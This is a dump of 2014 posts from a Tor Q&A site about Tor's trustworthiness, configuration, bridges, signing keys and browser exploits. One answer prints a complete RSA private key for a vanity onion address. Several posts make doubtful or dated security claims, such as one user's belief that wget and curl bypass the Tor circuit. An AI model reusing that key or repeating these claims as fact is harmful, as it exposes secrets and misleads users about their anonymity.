  <row Id="3709" PostTypeId="1" AcceptedAnswerId="3710" CreationDate="2014-07-30T15:46:44.070" Score="1" ViewCount="238" Body="&lt;p&gt;After reading the &lt;a href=&quot;http://www.theverge.com/2014/7/29/5948649/tor-received-1-8-million-federal-funds-in-2014?utm_source=howtogeek&amp;amp;utm_medium=email&amp;amp;utm_campaign=newsletter&quot; rel=&quot;nofollow&quot;&gt;news&lt;/a&gt; I doubt the safety of mine and others who use Tor, as one side of the Government is trying to spy and snoop on it and the other side is bankrolling it. Then what prevent the two side of the same coin to join together to share their data and/or know how? In legal jargon this is called &lt;strong&gt;&lt;em&gt;&quot;conflict of interest&quot;&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="3071" LastEditorUserId="923" LastEditDate="2014-08-07T10:41:03.287" LastActivityDate="2014-08-07T11:43:01.867" Title="Is Tor really secure and anonymous when it is bankrolled by the Government which spy and snoop on it the most?" Tags="|anonymity|security|" AnswerCount="1" CommentCount="6" ClosedDate="2014-07-30T18:36:11.030" ContentLicense="CC BY-SA 3.0" />
  <row Id="3710" PostTypeId="2" ParentId="3709" CreationDate="2014-07-30T17:39:45.647" Score="0" Body="&lt;p&gt;We hope and wish that it is secure, but can we prove it? Absolutely not. Let us give it the benefit of a doubt. Now there are so many zero day flaws associated with Tor, Tails, OS, browser, relays, SSL, encryption and the infrastructure of the network that you may think it may not be necessary to make a built in back door. I assume if not all, vast majority of Tor users are already known to government. If you look at it carefully, since Edward Snowden revealed the extent of government spying and snooping, every few months we hear about a zero day flaw, browser flaw, SSL flaw, relay snooping, bridge sent by unsecured email to client and more. So only the naive would believe that they are really secure. Having said that, there are very few things that even provide the level of security that Tor,Tails,JAP(JonDo), and few others will provide. Welcome to the Matrix like world.&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2014-08-07T11:43:01.867" LastActivityDate="2014-08-07T11:43:01.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3711" PostTypeId="2" ParentId="3611" CreationDate="2014-07-30T18:06:34.553" Score="1" Body="&lt;p&gt;&lt;strong&gt;Closed.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was wrong iptables redirect rule that excludes loop from redirect devices:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Was:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#iptables -t nat -A OUTPUT ! -o lo -p udp -m owner --uid-owner anonymous -m udp --dport 53 -j REDIRECT --to-ports 53&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Fix:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;iptables -t nat -A OUTPUT -p udp -m owner --uid-owner anonymous -m udp --dport 53 -j REDIRECT --to-ports 53&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Cause:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/etc/resolv.conf&#xA;nameserver 127.0.1.1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;bind by dnsmasq, instead of external IP addresses.&lt;/p&gt;&#xA;" OwnerUserId="3307" LastActivityDate="2014-07-30T18:06:34.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3712" PostTypeId="2" ParentId="3703" CreationDate="2014-07-30T18:49:50.890" Score="0" Body="&lt;p&gt;Please be aware that this is listed as a probable hole. So there might be a problem, but nobody knows. To be sure someone has to audit and test the software. This gives a better understanding what the specific risks are. In general you should be aware of this issue and take it into account when you are online. You might need other safeguards, but this depends on your risk profile.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume this piece is not mentioned, because it is a quite abstract and theoretical risk. This can be said for nearly all (networking) software and so is a quite common risk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One needs most of the software to go online. So leaving it out is no option here. In general Tails developers are quite conservative with their choice of software and don't put you on a extra risk.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-07-30T18:49:50.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3713" PostTypeId="2" ParentId="3706" CreationDate="2014-07-30T19:37:40.563" Score="2" Body="&lt;p&gt;U need to login in your browser!? &#xA;I think you have a proxy web server there! If its true, try set Outbound Proxy in torrc file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;c torManual page:&#xA;&lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#HTTPProxy&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/tor-manual.html.en#HTTPProxy&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3308" LastEditorUserId="923" LastEditDate="2014-07-30T20:25:24.533" LastActivityDate="2014-07-30T20:25:24.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3714" PostTypeId="1" CreationDate="2014-07-30T21:16:54.003" Score="2" ViewCount="1021" Body="&lt;p&gt;Where to get signing keys to verify Tor browser bundle?&#xA;I'm using Debian Wheezy and cannot find where I can get them to import them using gpg.&lt;/p&gt;&#xA;" OwnerUserId="3309" LastEditorUserId="88" LastEditDate="2014-07-31T06:19:22.700" LastActivityDate="2014-07-31T06:19:22.700" Title="How to get www.torproject.org signing keys?" Tags="|tor-browser-bundle|security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3715" PostTypeId="2" ParentId="3714" CreationDate="2014-07-31T00:32:27.763" Score="3" Body="&lt;p&gt;Information about Tor Project keys is &lt;a href=&quot;https://www.torproject.org/docs/signing-keys.html.en&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.  The one for the browser bundle is Erinn Clark (0x63FEE659).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gpg2 --keyserver keys.gnupg.net --recv 0x63FEE659&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3311" LastActivityDate="2014-07-31T00:32:27.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3716" PostTypeId="2" ParentId="3697" CreationDate="2014-07-31T20:27:45.627" Score="3" Body="&lt;p&gt;The Tor Browser Bundle is a modified version of Firefox. It includes some &quot;hardening&quot;, tweaks and patches to make it more secure, but many Firefox &lt;a href=&quot;https://en.wikipedia.org/wiki/Zero-day_exploit&quot; rel=&quot;nofollow&quot;&gt;zero-day exploits&lt;/a&gt; can still be used against it. The best way to avoid these is to disable Javascript globally with the built-in NoScript add-on. There are comparatively very few exploits of HTML parsing and rendering, so it's extremely unlikely that you'd get identified or infected with Javascript disabled. (Anecdotally, however, see &lt;a href=&quot;https://en.wikipedia.org/wiki/Canvas_fingerprinting&quot; rel=&quot;nofollow&quot;&gt;canvas fingerprinting&lt;/a&gt; for a new and scary exception to this trend.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I know, though, there isn't any means of transmitting malware through the Tor Browser that doesn't work on standard Firefox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a recent and notable example of a Javascript exploit being used to deanonymize users, see this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.wired.com/2013/09/freedom-hosting-fbi/&quot; rel=&quot;nofollow&quot;&gt;http://www.wired.com/2013/09/freedom-hosting-fbi/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://resources.infosecinstitute.com/fbi-tor-exploit/&quot; rel=&quot;nofollow&quot;&gt;http://resources.infosecinstitute.com/fbi-tor-exploit/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that, in this case, users' computers weren't infected. The exploit only leaked their real IP addresses, which allowed them to be identified and located. Many &quot;Tor specific&quot; attacks are of this nature, as exposing a user's real IP address is not an exploit at all if that's the IP address they're using publicly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In regards to the page telling you their &quot;exploit was successful&quot;, it's much easier to type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;&#xA;    &amp;lt;p&amp;gt;exploit was successful&amp;lt;/p&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Than it is to exploit a hardened up-to-date Firefox browser. It's possible you got infected, but you're probably fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember to keep your Tor Browser up-to-date, disable Javascript, and follow &lt;a href=&quot;https://www.torproject.org/download/download.html.en#warning&quot; rel=&quot;nofollow&quot;&gt;these guidelines&lt;/a&gt;. If you do, you're about as safe as you can be in a modern web browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, to answer your last question, yes, Tails is safer. It attempts to route all Internet traffic through Tor, so even some exploits that get by Firefox will still not access the real IP. However, as with all security software, Tails does occasionally have exploits of its own.&lt;/p&gt;&#xA;" OwnerUserId="3315" LastEditorUserId="3315" LastEditDate="2014-07-31T21:03:40.910" LastActivityDate="2014-07-31T21:03:40.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3717" PostTypeId="1" CreationDate="2014-07-31T21:46:45.550" Score="4" ViewCount="5441" Body="&lt;p&gt;What do you think is the best way to run Tor. And I know its not Windows. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But as for Linux, what is the best way to run TBB. Your everyday desktop, a second computer, a USB Live os such as a live CD or Puppy, Slax, Tails, or DSL?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What about Virtual Box?  &lt;/p&gt;&#xA;" OwnerUserId="3316" LastEditorUserId="923" LastEditDate="2014-08-01T00:50:09.087" LastActivityDate="2014-08-04T16:56:23.683" Title="What is the best Way To Run Tor (Operating Systems)?" Tags="|linux|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3718" PostTypeId="2" ParentId="3648" CreationDate="2014-07-31T23:32:19.900" Score="1" Body="&lt;p&gt;&lt;strong&gt;Answer to question 1, part 1&lt;/strong&gt; (NOT the final answer):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I have the answer to the first half of my first question: &lt;code&gt;is the address gotten by 'wget' or 'curl' the entry node?&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My script gives:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Exit relays:&#xA;176.10.100.228&#xA;89.46.100.197&#xA;93.184.21.102&#xA;212.83.145.8&#xA;&#xA;wget:&#xA;89.46.100.197&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;tor gives:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Jul 29 06:37:47.000 [info] const node_t *choose_good_exit_server_general(int, int)(): Chose exit server '$2248CFE8C6E414D580C9C600EB16239EABE6E330=Paul20666RO at 89.46.100.197'&#xA;Jul 29 06:37:48.000 [info] const node_t *choose_good_exit_server_general(int, int)(): Chose exit server '$E34E25D958D46DDE5092385B14117C9B301DC0E9=AccessNow13 at 176.10.100.228'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Going by the order that tor shows, the first 'exit server' &lt;code&gt;89.46.100.197&lt;/code&gt; is the &lt;strong&gt;entry&lt;/strong&gt; node. Note that it is what &lt;code&gt;wget&lt;/code&gt; gives. The last 'exit server' &lt;code&gt;176.10.100.228&lt;/code&gt; is the &lt;strong&gt;exit&lt;/strong&gt; node. This is what the browser shows. I have tested this numerous times with my script and it is consistent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What puzzles and alarms me is part 2 of question 1, &lt;strong&gt;why?&lt;/strong&gt;. Somehow &lt;code&gt;wget&lt;/code&gt; and &lt;code&gt;curl&lt;/code&gt; are only getting as far as the entry node, which is then decrypting (that is, IF the traffic is even encrypted) and relaying the traffic to the destination IP, completely bypassing the rest of the &lt;code&gt;tor&lt;/code&gt; circuit. The entry node is acting like a single-node circuit. Yet &lt;code&gt;tor&lt;/code&gt; and the browser are showing the &lt;strong&gt;exit&lt;/strong&gt; node of the multi-node circuit. Isn't this a serious breach of &lt;code&gt;tor&lt;/code&gt; design philosophy? Think about it, some traffic is being short-circuited and decrypted and sent to its destination without the aid of all the hops and tor circuit nodes in between. Both &lt;code&gt;wget&lt;/code&gt; and &lt;code&gt;curl&lt;/code&gt; are the premier tools available to the command line for downloading information. Clearly any use of these tools is not being safeguarded, as expected, by the entire tor circuit. Protecting the identity of a user of these tools is just as important as protecting the identity of the browser user, maybe even more important. I want to know why and how come this hasn't been discovered and reported as a bug?&lt;/p&gt;&#xA;" OwnerUserId="3267" LastActivityDate="2014-07-31T23:32:19.900" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="3719" PostTypeId="2" ParentId="58" CreationDate="2014-08-01T07:12:11.983" Score="4" Body="&lt;p&gt;Since mirimir already mentioned running tor and webserver on seperate computers, I will mention that &lt;a href=&quot;http://whonix.org&quot; rel=&quot;nofollow&quot;&gt;Whonix&lt;/a&gt; is a great Debian-based GNU/Linux build for anonymity of users and servers. Also, having a LUKS (or like whole disk encryption &lt;em&gt;Free And Open Sourced&lt;/em&gt; software) encrypted server will be a good idea (unless you use predecessors of DDR3, which is susceptible to Cold Boot Attack.)&lt;/p&gt;&#xA;" OwnerUserId="3160" LastActivityDate="2014-08-01T07:12:11.983" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3720" PostTypeId="2" ParentId="10" CreationDate="2014-08-01T07:41:31.093" Score="7" Body="&lt;p&gt;I also saw this project called &lt;a href=&quot;https://github.com/lachesis/scallion&quot; rel=&quot;noreferrer&quot;&gt;scallion&lt;/a&gt;, which is GPU based hashing, unlike shallot, it is a lot faster. One disadvantage of this: it is coded for windows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, for shallot, I entered &lt;code&gt;php&lt;/code&gt; as the phrase, and it went with a fancy name...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;--------------------------------------------------------------&#xA;Found matching domain after 3874 tries: saticzeff4ygphpr.onion&#xA;--------------------------------------------------------------&#xA;-----BEGIN RSA PRIVATE KEY-----&#xA;MIICXAIBAAKBgQDALlbUF2ME4GofkL3PNg8/6nO+1osV5/cxlNCS6MkwvsLhwpK7&#xA;dPU9qZpDolTdYqBLZjywpX/eQKlGb2T4831RxBTuNd5xu80Z04Wb3Szl+HZNxbUV&#xA;br6yd8psm18DScpxzbgMvYQKr3lhnUt7mkrhGxku0EYeP6z7HgOBYCG4cQIDAR5D&#xA;AoGAGcaBDN7yLFz5gCLLcPmEA/j85jaOl2zo7u5iXFRTKcGhaSRxSqvxZLEWa/qW&#xA;gwQCETfNxn1wJHF69vPNcdVTxy38d6Y2kNMfuFu8KmLrkYoEETFnO8voDXzWC7gl&#xA;OKlHm8J19QvjmsUeO1Vs1ZPZhmOByoegl3rIpugxoJJQhmcCQQDeJMuOtJmF9fm0&#xA;akKRKmunTM1JtBtbkQEAlgn149xL0uCWb+2CKltsY4XciDr08K8hbSqH/p3lZgpG&#xA;oLvRDo9lAkEA3XiDNJuDlGo9WHX625SOnNWnEQukDXiyrvRwe3Yp03IMc9CPiBJk&#xA;B1vdbxIaxDzH7S6FVvpq95MHPRpkmlbyHQJAakWTb5NfhL1gU9tY+mnS4fire9My&#xA;lp2xh9+CWleV8CV26pv9dKoVkVRn7ME8cbZJRCZFnb8jZtCyZL2S5GWrQwJBAI/4&#xA;o+DHghxJga5n2h9R31x4DZHC/YApf9PiVzop0mc5JeV1J7Uj9vl2QmgGLvQXMOr0&#xA;BYtjmvxabQa5M+lBVZcCQCzSefXcOIhShJnmgm02GDcZCaLFMHLWNXHxfeVulqTr&#xA;62NQY9SxBQK3xuXHwx0JKgXInc7iQKs+md7UdIEn2Tc=&#xA;-----END RSA PRIVATE KEY-----&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Sometimes random isn't really random, expect for an awkward name.&lt;/p&gt;&#xA;" OwnerUserId="3160" LastActivityDate="2014-08-01T07:41:31.093" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3721" PostTypeId="2" ParentId="760" CreationDate="2014-08-01T07:56:59.273" Score="1" Body="&lt;p&gt;RSA asymmetric encryption works really slowly, and the bigger the n and the message is, the harder the computer is going to have to work, thats why PGP exists. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Note that RSA encryption works by:&#xA;message pow e mod n&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;PGP encrypts the symmetric encryption key for the message in RSA/DSA/ElGamel and then encrypt the message with IDEA, and make encryption/decryption significantly faster.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;AES192 is sufficient for most things in the world, in fact, when AES256 was in operation, cryptographers described it an &lt;strong&gt;overkill&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't expect RSA1024 to be cracked in the near future, because when RSA 768 was, 2000 2.2Ghz Opertron CPUs and 3 years time was used.&lt;/p&gt;&#xA;" OwnerUserId="3160" LastActivityDate="2014-08-01T07:56:59.273" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3722" PostTypeId="1" CreationDate="2014-08-01T11:05:44.753" Score="2" ViewCount="952" Body="&lt;p&gt;I have Orbot 14.0.5 installed from F-droid.&#xA;obfs3 bridge lines are ignored by Orbot and orbot just connects directly to tor network. &#xA;For pasting bridge lines in Orbot, Should I add the word &quot;Bridge&quot; before &quot;obfs3 IP:PORT hash&quot; or should I just use &quot;obfs3 IP:PORT hash&quot; in 1 line?&lt;/p&gt;&#xA;" OwnerUserId="1552" LastActivityDate="2014-09-04T10:35:42.083" Title="In Orbot, obfs3 bridges don't work." Tags="|bridge|orbot|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3723" PostTypeId="1" AcceptedAnswerId="4013" CreationDate="2014-08-01T12:36:58.370" Score="4" ViewCount="2315" Body="&lt;p&gt;I have problem with Tor and obfsproxy for using bridges on ubuntu 14.04. Tor could not start obfsproxy and always return permission denied.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tail -f /var/log/tor/log&#xA;&#xA;Aug 01 13:06:30.000 [notice] Tor 0.2.4.23 (git-05b81fcd2a655c5a) opening new log file.&#xA;Aug 01 13:06:30.000 [notice] Parsing GEOIP IPv4 file /usr/share/tor/geoip.&#xA;Aug 01 13:06:30.000 [notice] Parsing GEOIP IPv6 file /usr/share/tor/geoip6.&#xA;Aug 01 13:06:30.000 [warn] OpenSSL version from headers does not match the version we're running with. If you get weird crashes, that might be why. (Compiled with 1000105f:     OpenSSL 1.0.1e 11 Feb 2013; running with 1000106f: OpenSSL 1.0.1f 6 Jan 2014).&#xA;Aug 01 13:06:33.000 [warn] Could not launch managed proxy executable at '/usr/bin/obfsproxy' ('Permission denied').&#xA;Aug 01 13:06:34.000 [notice] Bootstrapped 5%: Connecting to directory server.&#xA;Aug 01 13:06:34.000 [warn] We were supposed to connect to bridge '192.36.27.216:55313' using pluggable transport 'obfs2', but we can't find a pluggable transport proxy supporting 'obfs2'. This can happen if you haven't provided a ClientTransportPlugin line, or if your pluggable transport proxy stopped running.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3281" LastEditorUserId="923" LastEditDate="2014-09-04T17:18:50.323" LastActivityDate="2014-10-31T15:06:34.500" Title="Obfsproxy problem in ubuntu" Tags="|ubuntu|obfsproxy|help|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3724" PostTypeId="2" ParentId="3703" CreationDate="2014-08-01T13:10:02.560" Score="3" Body="&lt;p&gt;This is nothing to do with the I2P bug. They are referring to the possibility that there may be information leaks at application protocol level that may be used by an attacker to identify, fingerprint or track users, see &#xA;&lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorifyHOWTO#Protocolleaks&quot; rel=&quot;nofollow&quot;&gt;https://trac.torproject.org/projects/tor/wiki/doc/TorifyHOWTO#Protocolleaks&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Many applications can also leak other problematic and/or sensitive data, such as:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Your real external non-Tor IP address, as described above&lt;/li&gt;&#xA;  &lt;li&gt;Your time zone (for example: IRC clients through CTCP)&lt;/li&gt;&#xA;  &lt;li&gt;Your user name (for example: ssh through login)&lt;/li&gt;&#xA;  &lt;li&gt;The name and version of the client or server you are using (for example: Apache web server leaks software name and version number; IRC clients leak client name and client version number through CTCP)&lt;/li&gt;&#xA;  &lt;li&gt;​Metadata can be a risk. Click ​MAT and read 'What is a metadata?' and 'Why metadata can be a risk for your privacy?'&lt;/li&gt;&#xA;  &lt;li&gt;Depending on your Mode Of Anonymity you obviously shouldn't mix your use of protected (anonymous) applications with applications not passing through the Tor network or some other form of anonymity. For example, if a log in name or password of yours can be traced back to your personal identity, then you are defeating the purpose entirely. Tor can not protect you from this kind of activity&lt;/li&gt;&#xA;  &lt;li&gt;Even sending the contents of your RAM can be dangerous. For example: error reporting, leading to Transparent Proxy Leaks)&lt;/li&gt;&#xA;  &lt;li&gt;A lot of information which the application sends on request from a server (for example: most web browsers beside the Tor Browser)&lt;/li&gt;&#xA;  &lt;li&gt;Hardware serial numbers might be used for fingerprinting and in the worst case scenario, lead back to you.&lt;/li&gt;&#xA;  &lt;li&gt;License keys of non-free software is often transmitted and might lead back to you.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In other words, even if Tor is doing its job and an application has been torified correctly, your identity could still be exposed if that application is sending personally identifying information down the Tor circuits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Tails developers are warning you that not all network applications bundled with Tails have been audited to a sufficient degree to be confident that there are no such leaks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If in doubt, stick to applications that have been well audited (e.g. the Tor Browser).&lt;/p&gt;&#xA;" OwnerUserId="3319" LastEditorUserId="923" LastEditDate="2014-08-02T12:59:30.660" LastActivityDate="2014-08-02T12:59:30.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3725" PostTypeId="1" CreationDate="2014-08-01T20:00:09.017" Score="2" ViewCount="265" Body="&lt;p&gt;I'm exploring the possibility of tunneling JAP/JonDo through Tor, working in Ubuntu 14.04.1 x64 VMs in VirtualBox. The JonDo client has an option to use a SOCKS proxy. JAP/JonDo connects through &lt;code&gt;SocksPort 9050&lt;/code&gt;, using the &lt;code&gt;tor-0.2.3.25-1&lt;/code&gt; binary installed using &lt;code&gt;tor_0.2.3.25-1_amd64.deb&lt;/code&gt; from &lt;a href=&quot;http://packages.ubuntu.com/saucy/amd64/tor/download/&quot; rel=&quot;nofollow&quot;&gt;the saucy repo&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the JonDo client does not connect through &lt;code&gt;SocksPort 9050&lt;/code&gt; using Ubuntu binaries for &lt;code&gt;Tor v0.2.4.19&lt;/code&gt; (from Ubuntu 12.04 aka saucy repository), &lt;code&gt;Tor v0.2.4.20&lt;/code&gt; (from Ubuntu 14.04 aka trusty repository), or &lt;code&gt;Tor v0.2.4.23&lt;/code&gt; (latest stable Tor release from &lt;a href=&quot;http://www.ubuntuupdates.org/ppa/tor?dist=trusty&quot; rel=&quot;nofollow&quot;&gt;Ubuntu Updates&lt;/a&gt; for trusty).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the JonDo client does connect just fine through SocksPort 9050, using Tor releases &lt;code&gt;tor-0.2.4.20&lt;/code&gt; or &lt;code&gt;tor-0.2.4.23&lt;/code&gt;, built in Ubuntu 14.04.1 x64 from &lt;a href=&quot;https://git.torproject.org/tor.git&quot; rel=&quot;nofollow&quot;&gt;the Tor git repo&lt;/a&gt;. I built as described in &lt;a href=&quot;https://tor.stackexchange.com/questions/75/how-can-i-install-tor-from-the-source-code-in-the-git-repository&quot;&gt;How can I install Tor from the source code in the Git repository?&lt;/a&gt;, except that I specified v0.2.4.23:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-get install git build-essential automake libevent-dev libssl-dev&#xA;git clone https://git.torproject.org/tor.git&#xA;cd tor&#xA;git checkout tor-0.2.4.23&#xA;./autogen.sh&#xA;./configure --disable-asciidoc&#xA;make&#xA;sudo make install&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I used no other custom build flags. And I haven't yet tested anything from the &lt;code&gt;v0.2.5&lt;/code&gt; branch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why might the JonDo client be unable to use SocksPorts in the latest stock Ubuntu binaries, but work with corresponding local builds, and also with the &lt;code&gt;tor-0.2.3.25-1&lt;/code&gt; Ubuntu binary?&lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="100" LastEditDate="2014-08-06T00:38:11.970" LastActivityDate="2015-04-03T05:01:23.717" Title="JAP/JonDo uses SocksPort in Tor v0.2.4.23 built from git repo, but not in corresponding binary from Tor Project repo for Ubuntu trusty; why?" Tags="|socks|jondonym|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3726" PostTypeId="1" CreationDate="2014-08-01T20:57:03.310" Score="1" ViewCount="419" Body="&lt;p&gt;I use a Imac used to have a windows PC and Tor worked perfectly on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, on my Imac I have changed the proxy setting to 172.0.0.1 and port 9150 but it is still saying the connection has timed out?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It loads the first page saying you are now connected but everything on that does not work? &lt;/p&gt;&#xA;" OwnerUserId="3321" LastEditorUserId="923" LastEditDate="2014-08-02T15:56:44.797" LastActivityDate="2014-09-03T11:23:12.383" Title="On my Imac, the connection has timed out" Tags="|tor-browser-bundle|mac|" AnswerCount="0" CommentCount="3" ClosedDate="2015-08-25T08:43:39.260" ContentLicense="CC BY-SA 3.0" />
  <row Id="3727" PostTypeId="2" ParentId="3723" CreationDate="2014-08-01T21:29:03.567" Score="1" Body="&lt;p&gt;The log says that Tor tries to connect to a bridge with obfs2. This variant of obfs is deprecated and probably the bridge doesn't offer it anymore. You can try if this bridge uses obfs3 with two ways:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;If you're using the Tor Browser Bundle, just click on the green onion and select the last entry (network settings). On the next menu click on the last button (my provider blocks connections). Normally obfs3 is pre-selected. So just click on OK.&lt;/li&gt;&#xA;&lt;li&gt;You can also modify your &lt;code&gt;torrc&lt;/code&gt;. Go to the file. It should contain an entry like &lt;code&gt;Bridge obfs2 192.…&lt;/code&gt;. Now change &lt;code&gt;obfs2&lt;/code&gt; to &lt;code&gt;obfs3&lt;/code&gt; and restart Tor. It will now try obfs3 on that IP address. When this does not work, you should go to the &lt;a href=&quot;https://bridges.torproject.org/options&quot; rel=&quot;nofollow&quot;&gt;Tor bridges page&lt;/a&gt; and receive some bridge addresses. Enter those and it should work again.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-08-01T21:29:03.567" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3728" PostTypeId="1" CreationDate="2014-08-01T23:43:50.890" Score="1" ViewCount="6699" Body="&lt;p&gt;I downloaded Tor a few days ago and It will not allow me to see any .onion sites. All other sites seem to be working but when I try hidden services I get Firefox can't establish a connection to the server at XXXXXXXXXX. I have tried many options. I have even turned off my firewall. Nothing Happened.&lt;/p&gt;&#xA;" OwnerUserId="3322" LastEditorUserId="923" LastEditDate="2014-08-02T12:37:41.003" LastActivityDate="2016-02-17T07:00:40.617" Title="Tor will not allow me to view . onion sites" Tags="|browsers|" AnswerCount="0" CommentCount="4" ClosedDate="2017-04-21T20:38:58.213" ContentLicense="CC BY-SA 3.0" />
  <row Id="3729" PostTypeId="1" CreationDate="2014-08-01T23:49:31.683" Score="1" ViewCount="756" Body="&lt;p&gt;On Debian, installed Tor just by going to the website and downloading, extracting whole Tor browser directory to /home/joe/ etc. It renders fine, I've created my hidden service (got the new host name file--URL etc), but my new hidden url does not render. Tor doc says look in logs, cannot find any Tor logs on debian. Cannot find any logs, no vidalia. Without logs, tough to troubleshoot. what is command to add logging for debian? &lt;/p&gt;&#xA;" OwnerUserId="3213" LastEditorUserId="923" LastEditDate="2014-08-05T19:08:53.747" LastActivityDate="2014-08-05T19:08:53.747" Title="Tor hidden service on Debian, nginx" Tags="|tor-browser-bundle|onion-services|configuration|" AnswerCount="1" CommentCount="0" ClosedDate="2014-09-28T09:45:14.970" ContentLicense="CC BY-SA 3.0" />
